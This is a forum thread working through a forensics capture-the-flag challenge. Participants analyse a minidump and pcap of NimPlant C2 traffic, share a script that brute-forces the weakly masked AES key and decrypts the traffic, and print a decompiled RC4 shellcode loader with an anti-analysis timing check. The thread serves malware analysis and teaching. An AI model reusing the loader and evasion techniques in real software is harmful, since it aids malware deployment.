Let’s discuss ‘The Art of Capture’. Please do not share any flags or writeups.
Anyone have a hint, please?
This is for Forensics, so I don’t think it involves advanced reverse engineering. I’ve been searching for artifacts in the process minidump and found some traces, but nothing particularly useful. Do we need to decode the intercepted API communication first? I was thinking that might be necessary, and it could help us find more information to move forward with the second part of the flag.
Is that correct?
Okay, let’s solve this challenge. It’s a hard challenge, which means we are 2-3 steps away from getting the flag. Please share your findings so others can continue from the point where you got stuck. I am starting now.
I believe this memory dump file contains the first flag and a key to decrypt the Wireshark traffic, which likely holds the second part of the flag.
WinDbg:
!peb
:
-
The process that caused the exception is
DbgInfo.exe
. -
The exception is
0x80000003
, which is a breakpoint. -
The fault occurred in thread 1768.
-
The stack trace shows a series of function calls, starting from
ntdll!NtDelayExecution
, passing throughKERNELBASE!SleepEx
, and then into functions inDbgInfo.exe
. These indicate that the application was sleeping or waiting when the breakpoint occurred. -
The failure is associated with the instruction at offset
0x7b298
inDbgInfo.exe
. -
There are 7 threads in the process, with thread 0 having the ID
1768
. -
Thread 4 is executing a Thread Pool Callback that is handling the safe termination of
winhttp.dll
resources, which could indicate a cleanup after an HTTP operation. -
The timestamps for the modules are very strange and unusual.
-
After running
strings DbgInfo.DMP > strings.txt
and checking in Sublime, I found that the minidump also contains a Base64-encoded screenshot of the desktop. The only interesting finding seems to be the Windows version, which corresponds with the!analyze -v
command output from WinDbg. -
Searching through the heap in WinDbg reveals some fragments of API communication:
!address /f:heap /c:"s -a %1 %2 \"api\""
0000026b`f9a02ba9 61 70 69 2f 76 32 2f 70-69 6e 67 00 00 00 00 01 api/v2/ping.....
0000026b`f9a200c1 61 70 69 2f 76 32 2f 15-00 00 15 8d 76 00 00 e0 api/v2/.....v...
0000026b`f9a20d81 61 70 69 2f 76 32 2f 70-69 6e 67 00 00 00 00 00 api/v2/ping.....
0000026b`f9a44381 61 70 69 2f 76 32 2f 70-69 6e 67 00 74 2d 4d 44 api/v2/ping.t-MD
0000026b`f9a443a5 61 70 69 2f 76 32 2f 70-69 6e 67 20 48 54 54 50 api/v2/ping HTTP
I thought “X-Identifier: uemFPipI” could be the decryption key, but:
s -[l5]sa 0000026b`f9a44000 0000026b`f9a44fff
0000026b`f9a4437c "tent/api/v2/ping"
0000026b`f9a4438d "t-MD5"
0000026b`f9a44393 "Conte"
0000026b`f9a443a0 "GET /api/v2/ping HTTP/1.1"
0000026b`f9a443bb "Connection: Keep-Alive"
0000026b`f9a443d3 "Accept: */*"
0000026b`f9a443e0 "Accept-Encoding: gzip"
0000026b`f9a443f7 "User-Agent: Mozilla/5.0 (X11; Li"
0000026b`f9a44417 "nux x86_64; rv:127.0) Gecko/2010"
0000026b`f9a44437 "0101 Firefox/127.0"
0000026b`f9a4444b "X-Identifier: uemFPipI"
0000026b`f9a44463 "Host: 192.168.56.1:4444"
0000026b`f9a4447f "e-Control"
0000026b`f9a44614 "LRPC-1214f9061243c046f5"
In IDA:
DbgInfo:00007FF62FC18F50 sub_7FF62FC18F50 proc near ; CODE XREF: sub_7FF62FC4B9B0+92↓p
..
DbgInfo:00007FF62FC18F54 movups [rsp+28h+var_18], xmm6
DbgInfo:00007FF62FC18F59 lea rax, aBody ; "body"
DbgInfo:00007FF62FC18F60 mov rcx, cs:off_7FF62FC7FB50
DbgInfo:00007FF62FC18F67 movq xmm0, cs:off_7FF62FC7FC30
DbgInfo:00007FF62FC18F6F movq xmm5, rax
DbgInfo:00007FF62FC18F74 lea rax, aUrl ; "url"
DbgInfo:00007FF62FC18F7B movdqu xmm2, cs:xmmword_7FF62FC61610
DbgInfo:00007FF62FC18F83 lea rdx, aKey ; "key"
DbgInfo:00007FF62FC18F8A movdqu xmm4, xmm0
DbgInfo:00007FF62FC18F8E movq xmm1, rcx
DbgInfo:00007FF62FC18F93 mov cs:qword_7FF62FCA0118, 0
DbgInfo:00007FF62FC289C1 add rax, 60h ; '`'
DbgInfo:00007FF62FC289C5 mov cs:qword_7FF62FCA0DB8, 58h ; 'X'
DbgInfo:00007FF62FC289D0 movups cs:xmmword_7FF62FCA0E50, xmm1
DbgInfo:00007FF62FC289D7 movq xmm1, rdx
DbgInfo:00007FF62FC289DC add rdx, 0C0h
DbgInfo:00007FF62FC289E3 punpcklqdq xmm1, xmm5
DbgInfo:00007FF62FC289E7 movq xmm5, rax
DbgInfo:00007FF62FC289EC lea rax, aUseragent ; "userAgent"
DbgInfo:00007FF62FC289F3 mov cs:byte_7FF62FCA0DE0, 1
..
DbgInfo:00007FF62FC28A4A movq xmm1, rcx
DbgInfo:00007FF62FC28A4F punpcklqdq xmm1, xmm4
DbgInfo:00007FF62FC28A53 mov cs:off_7FF62FCA0EB0, rax
DbgInfo:00007FF62FC28A5A lea rax, aCryptkey ; "cryptKey"
DbgInfo:00007FF62FC28A61 movups cs:xmmword_7FF62FCA0E90, xmm1
DbgInfo:00007FF62FC28A68 movq xmm1, rdx
DbgInfo:00007FF62FC28A6D movq xmm3, rax
DbgInfo:00007FF62FC28A72 lea rax, xmmword_7FF62FCA0E40
..
DbgInfo:00007FF62FC28B0B retn
DbgInfo:00007FF62FC28B0B sub_7FF62FC286D0 endp
However, it didn’t work with any AES decryption scheme. I also tried using both values from the GET /api/v2/login
call:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Server: nginx
Date: Tue, 30 Jul 2024 17:54:37 GMT
{"id":"gxksd3v7","k":"opO2j7SMi7iSsoqVh5uZpA=="}
But no luck.
I managed to find the source code of the malware on Github with this query.
0:000> !address /f:heap /c:"s -a %1 %2 \"Nim\""
0000026b`f9c45820 4e 69 6d 50 6c 61 6e 74-20 76 31 2e 32 0a 00 00 NimPlant v1.2...
I think there’s a weakness in the AES key exchange. It’s likely that we can obtain the decryption key.
So, k
is actually the AES key XOR’d with a number between 1 and 2,147,483,647. I think it’s crackable because there aren’t many possibilities at all.
The XOR key is generated like this:
Interestingly, the AES key is generated like this:
Hell yeah. It took only 0.1 seconds to recover the AES Key!
from Crypto.Cipher import AES
from Crypto.Util import Counter
import base64
import string
def xor_string(data: bytes, key: int) -> bytes:
result = bytearray(data)
k = key
for i in range(len(result)):
for f in [0, 8, 16, 24]:
result[i] ^= ((k >> f) & 0xFF)
k = (k + 1) & 0xFFFFFFFF
return bytes(result)
def is_valid_key(data: bytes) -> bool:
try:
decoded_str = data.decode('utf-8')
return len(decoded_str) == 16 and all(c in string.ascii_letters + string.digits for c in decoded_str)
except UnicodeDecodeError:
return False
def decrypt(key: bytes, enc) -> bytes:
iv,enc = enc[:16],enc[16:]
ctr = Counter.new(128, initial_value=int.from_bytes(iv, byteorder="big"))
cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
try:
dec = cipher.decrypt(enc)
return dec
except ValueError:
return None
return None
def isPrintable(b: bytes) -> bool:
try:
b.decode()
return True
except UnicodeDecodeError:
return False
def brute_force_key(xored_key: bytes):
enc = "QllpQVtOWU5fRlVWXF9LQbP96KXlOv6w8Ij0NocWw43Sn2eKCKbbrdzQvEOHFeGkWwyF6HI/8mnIvJDLT7s6CNUr1PuWY3G1IAsZW/VzMmBHPeyObC/l9GfNaQoKntLhQ7jvCGg4MYrbifRwyIN3XFWRBk0S+K3StdoUOpmDsw8y"
enc = base64.decodebytes(enc.encode())
for key in range(2_147_483_648): # 2^31 = 2147483648
key = xor_string(xored_key, key)
if is_valid_key(key):
if not isPrintable(decrypt(key,enc) ):
continue
return key
print("No valid key found.")
return None
if __name__ == "__main__":
xored_aes_key = base64.b64decode('opO2j7SMi7iSsoqVh5uZpA==')
recovered_aes_key = brute_force_key(xored_aes_key)
print("AES Key: ", recovered_aes_key)
enc = "QllpQVtOWU5fRlVWXF9LQbP96KXlOv6w8Ij0NocWw43Sn2eKCKbbrdzQvEOHFeGkWwyF6HI/8mnIvJDLT7s6CNUr1PuWY3G1IAsZW/VzMmBHPeyObC/l9GfNaQoKntLhQ7jvCGg4MYrbifRwyIN3XFWRBk0S+K3StdoUOpmDsw8y"
enc = base64.decodebytes(enc.encode())
print(decrypt(recovered_aes_key, enc))
For the first part of the flag, decrypt the screenshot and open the image. The second part of the flag is related to the shell.exe file but I couldn’t extract it yet.
For the second part of the flag, disassemble the shell binary, which serves as a shellcode loader. In the main function, the shellcode is decrypted and executed
int __fastcall main(int argc, const char **argv, const char **envp)
{
int ticks; // eax
int v4; // ebx
int v5; // ebx
DWORD LastError; // eax
int v7; // eax
char *v8; // rcx
unsigned __int8 v9; // r8
char *v10; // r10
int v11; // r9d
char v12; // r11
unsigned __int8 v13; // di
__int64 i; // r11
char v15; // r8
char v17[264]; // [rsp+20h] [rbp-108h] BYREF
DWORD flOldProtect; // [rsp+140h] [rbp+18h] BYREF
__int64 v19; // [rsp+148h] [rbp+20h] BYREF
ticks = Xtime_get_ticks();
v19 = 5LL;
v4 = ticks;
sub_140001280(&v19);
if ( (double)(int)(Xtime_get_ticks() - v4) / 10000000.0 <= 4.5 )
exit(0);
v5 = 0;
flOldProtect = 0;
if ( !VirtualProtect(qword_1400014B0, 0x2AFuLL, 0x40u, &flOldProtect) )
{
LastError = GetLastError();
sub_140001030("Error: %d", LastError);
}
v7 = 0;
v8 = v17;
do
*v8++ = v7++;
while ( v7 < 256 );
v9 = 0;
v10 = v17;
v11 = 0;
do
{
v12 = *v10;
v9 += *v10 + aXobvreX11mb[v11++ % 0xCu];
*v10++ = v17[v9];
v17[v9] = v12;
}
while ( v11 < 256 );
v13 = 0;
for ( i = 0LL; i < 687; ++i )
{
v5 = (v5 + 1) % 256;
v15 = v17[v5];
v13 += v15;
v17[v5] = v17[v13];
v17[v13] = v15;
*((_BYTE *)qword_1400014B0 + i) ^= v17[(unsigned __int8)(v17[v5] + v15)];
}
VirtualProtect(qword_1400014B0, 0x2AFuLL, flOldProtect, &flOldProtect);
((void (*)(void))qword_1400014B0[0])();
return 0;
}
Here’s the full explanation of this code:
Key Components:
-
Timing Check (
Xtime_get_ticks
):ticks = Xtime_get_ticks();
stores the current time (probably in ticks or some high-resolution counter).- After calling
sub_140001280(&v19);
, the code checks if the time difference exceeds 4.5 seconds (if ( (double)(int)(Xtime_get_ticks() - v4) / 10000000.0 <= 4.5 )
), and if not, it callsexit(0)
. - This is likely an anti-debugging mechanism to check if the code is running too slowly (which could indicate it’s being analyzed or debugged).
-
Memory Protection (
VirtualProtect
):VirtualProtect(qword_1400014B0, 0x2AFuLL, 0x40u, &flOldProtect)
changes the memory protection ofqword_1400014B0
(likely where the shellcode is stored).- It changes the protection to
0x40
, which isPAGE_EXECUTE_READWRITE
. This allows the code to modify and later execute this memory. - If it fails, it logs an error using
GetLastError()
.
-
Key Scheduling/RC4-Like Cipher Setup:
- The block initializing
v17
is an RC4-like key scheduling algorithm. It first fillsv17
with values from0 to 255
. - Then, it mixes these values based on some key stored in
aXobvreX11mb[]
, using an RC4-style key mixing loop:v9 += *v10 + aXobvreX11mb[v11++ % 0xCu];
- The result is a scrambled
v17
array, which is used for decryption.
- The block initializing
-
Shellcode Decryption:
- The following loop decrypts the shellcode in
qword_1400014B0
using a variant of the RC4 stream cipher:*((_BYTE *)qword_1400014B0 + i) ^= v17[(unsigned __int8)(v17[v5] + v15)];
- The code iterates over the encrypted shellcode (687 bytes long) and XORs each byte with values derived from the
v17
array. - This decrypts the shellcode, making it ready for execution.
- The following loop decrypts the shellcode in
-
Executing Shellcode:
- After decryption, the code restores the original memory protection with
VirtualProtect
. - Finally, it jumps to the decrypted shellcode and executes it using
((void (*)(void))qword_1400014B0[0])();
.
- After decryption, the code restores the original memory protection with
The flag is embedded in the shellcode. Just decrypt it yourself. Get some help from ChatGPT if you get stuck creating the decryption algorithm.
An easier way to obtain the second flag is to scan memory strings after running the shell file.
Interesting. I was focusing more on the pcap. How can I extract the screenshot? Do I need to run WinDBG?
The malware and the C2 server are actually open source. Start by inspecting how they interact with each other, such as sending and receiving data and how the encryption/decryption process works. After that, you’ll be able to decrypt the encrypted HTTP request data in the PCAP file. If you get stuck, check my previous messages. They contain all the information you need to solve this challenge.
Great job finding the C2 implant written in Nim! I’d promise I’ve seen it before. Overall, fantastic progress — thank you!
Thanks. I extracted the NimPlant exploit, and managed to get the key and the screenshot from the HTTP traffic in the pcap. Got the first half of the flag.
About the second half, I’m analyzing the binary (md5 50db988164593d15aebe519183e5a145) but it doesn’t look like to be the shellcode loader in your comment above.
You should extract a binary (2a2d1efc60c50b3040adbb37dc3442a7) from the pcap file.
Is the screenshot and key from DbgInfo.DMP?
The AES CTR key can be bruteforced or (I believe) found in the memory and screenshot is encrypted and encoded in the pcap
Due to an insecure key exchange between the C2 server and the malware, the AES CTR key can be extracted in less than 0.1 seconds using only Wireshark data. Just check my code. When you run it, it instantly recovers the key.
Thank’s … is there perhaps another hint regarding rev.exe encoding is not gzip?
'upload 37fd453cbfb4794f48283819f010a9fe rev.exe '}"
Content-Type: application/x-gzip
Content-Length: 76993
Content-Encoding: gzip
Server: nginx
Date: Tue, 30 Jul 2024 17:57:31 GMT
Jy87cmlfZGNSdmFXVCJYVA…
This is the file you need to extract. Check how file upload mechanism works internally.
You can extract it like this:
if __name__ == "__main__":
xored_aes_key = base64.b64decode('opO2j7SMi7iSsoqVh5uZpA==')
recovered_aes_key = brute_force_key(xored_aes_key)
print("AES Key: ", recovered_aes_key)
data ="Jy87cmlfZGNSdmFXVCJYVAfvYj2Pvf24Ac72V8EHi2Rl..." # enter base64 encoded data here
file = zlib.decompress(decrypt(recovered_aes_key, base64.b64decode(data)))
open("shell.exe", "wb").write(file)